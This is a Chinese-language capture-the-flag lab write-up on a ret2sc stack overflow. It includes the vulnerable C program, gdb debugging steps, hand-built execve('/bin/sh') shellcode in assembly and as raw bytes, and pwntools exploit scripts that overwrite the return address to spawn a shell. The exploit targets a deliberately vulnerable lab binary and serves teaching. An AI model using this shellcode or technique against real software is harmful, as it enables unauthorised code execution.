[NTUSTISC pwn LAB 3]栈溢出:返回值跳转到shellcode ret2sc 实验

Posted 漫小牛

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[NTUSTISC pwn LAB 3]栈溢出:返回值跳转到shellcode ret2sc 实验相关的知识,希望对你有一定的参考价值。

一、考点

  • 栈溢出
  • gdb动态调试
  • 静态分析
  • shellcode的人工构造和自动构造
  • 机器码和汇编的互翻
  • 如何查找某一全局变量的虚拟地址
  • pwntools脚本与二进制程序相结合的动态调试

二、相关资源

题目及相关资源的下载地址为:
链接:https://pan.baidu.com/s/1uRyQN1dzA0OLsgcn1UtYjg
提取码:vfdl
本次实验对应Lab3

三、题目

这是一道栈溢出pwn题,同时不但给出了二进制文件,也给出了源文件:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char message[48];

int main()
{
  char name[16];
  printf("Give me your message: ");
  fflush(stdout);
  read(0, message, 0x30);
  printf("Give me your name: ");
  fflush(stdout);
  read(0, name, 0x30);
  return 0;
}

四、解题过程

1、检查保护机制

checksec无任何保护机制:
在这里插入图片描述

2、运行查看效果

运行该程序,用户有两个输入点,填充大量的11111111,均可能存在栈溢出漏洞。
在这里插入图片描述

3、静态分析

直接看实验中给出的源码ret2sc.c:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char message[48];

int main()
{
  char name[16];
  printf("Give me your message: ");
  fflush(stdout);
  read(0, message, 0x30);
  printf("Give me your name: ");
  fflush(stdout);
  read(0, name, 0x30);
  return 0;
}

程序存在两个输入点,第一个为message,我们可以构造shellcode,并写入message;同时,在第二个输入点覆盖return address为message的地址,实现栈溢出并劫持控制流。

4、shellcode的构造

4.1人工构造

如下代码为人工构造的shellcode

mov     rbx, 0x68732f6e69622f
push    rbx
mov     rdi, rsp
xor     rsi, rsi
xor     rdx, rdx
mov     rax, 0x3b
syscall

shellcode主要是填入/bin/sh参数,执行系统调用execve:

int execve(const char *filename, char *const argv[], char *const envp[])

第一条指令0x68732f6e69622f为/bin/sh,将该字符串push到堆栈中后,通过rsp赋值给rdi,第二个参数rsi和第三个参数rdx分别用xor的方式置为0,execve为59号系统调用,可通过LINUX SYSTEM CALL TABLE FOR X86 64来查看:
在这里插入图片描述

4.2自动构造

除了人工构造外,也可以用pwntools的接口自动构造:

sc = asm(shellcraft.sh())

5、查找message的虚拟地址

输入命令查找message的虚拟地址:

objdump -d -M intel ret2sc

在主函数main中可看到message对应的虚拟地址为0x601060 。
在这里插入图片描述

6、gdb调试定位return address

使用gdb动态调试,分别进行如下操作:

gdb ret2sc
b main
r

单步n,一直到第二个read的位置,这是堆栈空间还没有被污染的样子,main函数执行完后,会从堆栈中弹出下一条指令的地址(这是main返回后要去的地方),即图中标红的部分:
在这里插入图片描述
单步n,任意输入一串数字,发现这个位置已被填充为dddddddd
在这里插入图片描述

7、编写exp

编写的exp为:

from pwn import *

r = process('./ret2sc')

r.recvuntil(': ')

context.arch = 'amd64'

sc = asm('''
mov     rbx, 0x68732f6e69622f
push    rbx
mov     rdi, rsp
xor     rsi, rsi
xor     rdx, rdx
mov     rax, 0x3b
syscall
        ''')

#sc = asm(shellcraft.sh())
#print(sc)

r.send(sc)

payload = 'a'*0x18 + p64(0x601060)

r.recvuntil(': ')
r.send(payload)

r.interactive()

运行该脚本后,执行ls命令,可以看出已经拿到了shell:
在这里插入图片描述

五、动态验证(二进制+pwntools混合调试)

在exp中r = process(’./ret2sc’)的下增加一行代码raw_input():
在当前窗口执行该python脚本,程序会因raw_input()这条语句卡在这里:
在这里插入图片描述
再打开另一终端并执行gdb pid 3216,attach到3216进程。
x/40gx 0x601060查看填入shellcode前的message的内存空间为:
在这里插入图片描述
x/40gx 0x601060查看填入shellcode后的message的内存空间为:
在这里插入图片描述
也可以通过x/20i 0x601060查看汇编指令:
在这里插入图片描述
下面的add是一些全0的机器码对应的一些废掉的汇编。
这里有一个好的网站Online x86 / x64 Assembler and Disassembler,可实现汇编和机器码互相翻译,并在exp中将汇编形式的shellcode替换为机器码形式的shellcode:·

from pwn import *

r = process('./ret2sc')
raw_input()

r.recvuntil(': ')

context.arch = 'amd64'

#sc = asm('''
#mov    rbx, 0x68732f6e69622f
#push   rbx
#mov    rdi, rsp
#xor    rsi, rsi
#xor    rdx, rdx
#mov    rax, 0x3b
#syscall
#       ''')

sc = "\\x48\\xBB\\x2F\\x62\\x69\\x6E\\x2F\\x73\\x68\\x00\\x53\\x48\\x89\\xE7\\x48\\x31\\xF6\\x48\\x31\\xD2\\x48\\xC7\\xC0\\x3B\\x00\\x00\\x00\\x0F\\x05"

#sc = asm(shellcraft.sh())
#print(sc)

r.send(sc)

payload = 'a'*0x18 + p64(0x601060)

r.recvuntil(': ')

按c,在python窗口ls,得到shell。
在这里插入图片描述

以上是关于[NTUSTISC pwn LAB 3]栈溢出:返回值跳转到shellcode ret2sc 实验的主要内容,如果未能解决你的问题,请参考以下文章

[NTUSTISC pwn LAB 3]栈溢出:返回值跳转到shellcode ret2sc 实验

[NTUSTISC pwn LAB 4]gothijacking入门实验

[NTUSTISC pwn LAB 5]rop入门实验

[NTUSTISC pwn LAB 6]rop&Return to plt实验

[NTUSTISC pwn LAB 7]Return to libc实验(puts泄露libc中gadget片段定位)

[NTUSTISC pwn LAB 0]新手就能掌握的pwntools接口入门实验